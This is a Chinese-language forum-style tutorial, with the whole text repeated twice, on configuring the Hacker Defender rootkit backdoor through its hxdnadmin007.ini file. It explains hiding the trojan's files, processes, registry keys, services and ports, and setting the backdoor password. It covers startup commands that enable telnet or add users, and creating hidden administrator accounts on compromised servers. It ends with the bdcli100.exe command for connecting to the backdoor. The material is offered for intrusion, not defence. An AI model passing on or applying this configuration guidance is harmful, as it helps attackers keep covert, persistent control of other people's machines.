我的QQ是：214294804 欢迎大家加我。一起学习
rootkit
这后门没有生成器，主要在这个文件里配置hxdnadmin007.ini
[Hidden Table]
hxdnadmin*
rcmd.exe
这个的意思是隐藏在资源管理器里显示的
hxdnadmin007.exe 马的名字 hxdnadmin* *号你应该知道的。通配符
只要文件名字开头 是 hxdnadmin 后面不管是什么 在资源管理器里都是 看不到的。
[Root Processes]
hxdnadmin*
rcmd.exe
这是隐藏进程里显示的
[Hidden RegKeys]
HackerDefender100
LEGACY_HACKERDEFENDER100
HackerDefenderDrv100
LEGACY_HACKERDEFENDERDRV100
xw
[Hidden RegValues]
xw
[Hidden Services]
xw*
这几个都是隐藏注册标里的，隐藏服务。。比如我们可以用这马建立超级用户后门。。
做超级隐藏用户。这样的话别人就看不到我们的帐号了。
[Startup Run]
这个是马启动的时候 带启动程序
比如 c:\xw.exe
也可以加上命令
比如 开启telnet 服务。或加用户
[Hidden Ports]
tcp:80,21,23,25,110,8080,1080,1433,3389,
这是我们连接服务器所用的端口
[Settings]
Password=xiaoweiai 密码 连接服务器所用的密码
ServiceName=Defender
ServiceDisplayName=HXD Servic
ServiceDescription=powerful NT rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdnadmindrv.sys
这几个是 服务的描述 我去服务器演示下
bdcli100.exe 这个是连接工具 使用命令bdcli100.exe ip 端口 密码
rootkit
这后门没有生成器，主要在这个文件里配置hxdnadmin007.ini
[Hidden Table]
hxdnadmin*
rcmd.exe
这个的意思是隐藏在资源管理器里显示的
hxdnadmin007.exe 马的名字 hxdnadmin* *号你应该知道的。通配符
只要文件名字开头 是 hxdnadmin 后面不管是什么 在资源管理器里都是 看不到的。
[Root Processes]
hxdnadmin*
rcmd.exe
这是隐藏进程里显示的
[Hidden RegKeys]
HackerDefender100
LEGACY_HACKERDEFENDER100
HackerDefenderDrv100
LEGACY_HACKERDEFENDERDRV100
xw
[Hidden RegValues]
xw
[Hidden Services]
xw*
这几个都是隐藏注册标里的，隐藏服务。。比如我们可以用这马建立超级用户后门。。
做超级隐藏用户。这样的话别人就看不到我们的帐号了。
[Startup Run]
这个是马启动的时候 带启动程序
比如 c:\xw.exe
也可以加上命令
比如 开启telnet 服务。或加用户
[Hidden Ports]
tcp:80,21,23,25,110,8080,1080,1433,3389,
这是我们连接服务器所用的端口
[Settings]
Password=xiaoweiai 密码 连接服务器所用的密码
ServiceName=Defender
ServiceDisplayName=HXD Servic
ServiceDescription=powerful NT rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdnadmindrv.sys
这几个是 服务的描述 我去服务器演示下
bdcli100.exe 这个是连接工具 使用命令bdcli100.exe ip 端口 密码
-
